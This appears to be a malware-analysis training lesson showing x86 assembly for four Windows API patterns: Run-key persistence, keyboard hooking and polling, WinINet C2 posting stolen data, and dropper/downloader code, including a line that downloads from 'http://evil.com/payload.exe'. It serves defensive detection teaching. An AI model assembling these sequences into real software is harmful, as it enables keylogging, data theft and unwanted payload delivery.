The four core Windows API call sequences every analyst must recognise — registry persistence, keylogging, HTTP C2 communication, and dropper/downloader behaviour — with assembly-level examples.
Sign in to mark this article as read and track your progress.
After reconstructing control flow, the analyst identifies what the malware does by examining its Windows API calls. Four behavioural patterns account for the majority of what commodity malware does: persisting via the registry, capturing keystrokes, communicating with a C2 server over HTTP, and delivering a second-stage payload.
Each pattern has a characteristic API call sequence. Recognising the sequence in disassembly or in a dynamic trace immediately classifies the behaviour.
Malware writes to the registry primarily to survive reboots. The most common persistence location is the Run key under HKEY_CURRENT_USER — it requires no administrator privileges.
; Open the Run key
push KEY_SET_VALUE
push 0
lea eax, [ebp+hKey]
push eax
push offset aRun ; "Software\Microsoft\Windows\CurrentVersion\Run"
push HKEY_CURRENT_USER
call RegOpenKeyExA
; Write the payload path as a new value
push len_path
push offset malware_path ; "C:\Users\...\svchost32.exe"
push REG_SZ
push 0
push offset aValueName ; "WindowsUpdate" (disguised name)
push [ebp+hKey]
call RegSetValueExA
IOCs extracted from assembly:
Software\Microsoft\Windows\CurrentVersion\RunWindowsUpdateC:\Users\...\svchost32.exeT1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Two implementation approaches exist. Hook-based keylogging is more common in professional malware; polling is simpler to implement.
push offset KeyboardProc ; callback function address
push 0 ; dwThreadId = 0 (all threads)
push 0 ; hMod = NULL (same process)
push WH_KEYBOARD_LL ; idHook = 13
call SetWindowsHookExA
WH_KEYBOARD_LL (value 13) is the first argument — its presence immediately identifies a low-level keyboard hook installation.
poll_loop:
push ecx ; virtual key code (0x01 to 0xFE)
call GetAsyncKeyState
test eax, 0x8000 ; high bit set = key currently pressed
jz next_key
; log this key
next_key:
inc ecx
cmp ecx, 0xFF
jl poll_loop
Supporting APIs that appear alongside keyloggers:
| API | Purpose |
|---|---|
GetForegroundWindow | Which application is active |
GetWindowTextA/W | Window title — logged with keystrokes |
CreateFileA + WriteFile | Writing keylog to file |
InternetOpenA + HttpSendRequestA | Exfiltrating keylog via HTTP |
T1056.001 — Input Capture: Keylogging
Malware using the WinINet API family for C2 communication follows a consistent five-call sequence:
; 1. Initialise WinINet session
push offset szAgent ; "Mozilla/5.0 (compatible)" ← USER-AGENT IOC
push INTERNET_OPEN_TYPE_PRECONFIG
call InternetOpenA
; 2. Connect to C2
push 0
push 0
push INTERNET_SERVICE_HTTP
push 80 ; port
push offset szC2 ; "185.220.x.x" ← C2 ADDRESS IOC
push eax ; hInternet
call InternetConnectA
; 3. Create request
push 0
push 0
push 0
push HTTP_ADDREQ_FLAG_ADD
push 0
push offset szURI ; "/gate.php" ← URI IOC
push offset szVerb ; "POST"
push eax ; hConnect
call HttpOpenRequestA
; 4. Send (with POST data = stolen information)
push dwDataLen
push offset szData ; base64-encoded stolen data
push eax ; hRequest
call HttpSendRequestA
; 5. Read response (contains C2 commands)
push offset dwRead
push BUF_SIZE
push offset szBuf
push eax ; hRequest
call InternetReadFile
IOCs extracted from assembly:
Mozilla/5.0 (compatible)185.220.x.x/gate.phpPOSTT1071.001 — Application Layer Protocol: Web Protocols
; Extract payload from PE resources
push RT_RCDATA
push offset szResName
push hModule
call FindResourceA
push eax
push hModule
call LoadResource
push eax
call LockResource ; returns pointer to embedded payload
; Write to disk
push 0
push NULL
push CREATE_ALWAYS
push NULL
push NULL
push GENERIC_WRITE
push offset szDropPath ; "C:\...\update.exe"
call CreateFileA
push NULL
push dwSize
push pPayload
push hFile
call WriteFile
; Execute
push NULL
push NULL
push CREATE_NEW_CONSOLE
push NULL
push NULL
push NULL
push NULL
push NULL
push offset szDropPath
push NULL
call CreateProcessA
Replace the FindResource/LoadResource/LockResource sequence with a single call:
push offset szLocalPath ; "C:\...\update.exe"
push offset szUrl ; "http://evil.com/payload.exe"
push 0
push 0
call URLDownloadToFileA
| Behaviour | Key APIs | MITRE |
|---|---|---|
| Registry persistence | RegOpenKeyExA + RegSetValueExA | T1547.001 |
| Hook keylogger | SetWindowsHookExA (arg = 13) | T1056.001 |
| Poll keylogger | GetAsyncKeyState loop | T1056.001 |
| HTTP C2 | InternetOpenA → InternetConnectA → HttpSendRequestA | T1071.001 |
| Dropper | FindResource → WriteFile → CreateProcessA | T1105 |
| Downloader | URLDownloadToFileA → CreateProcessA | T1105 |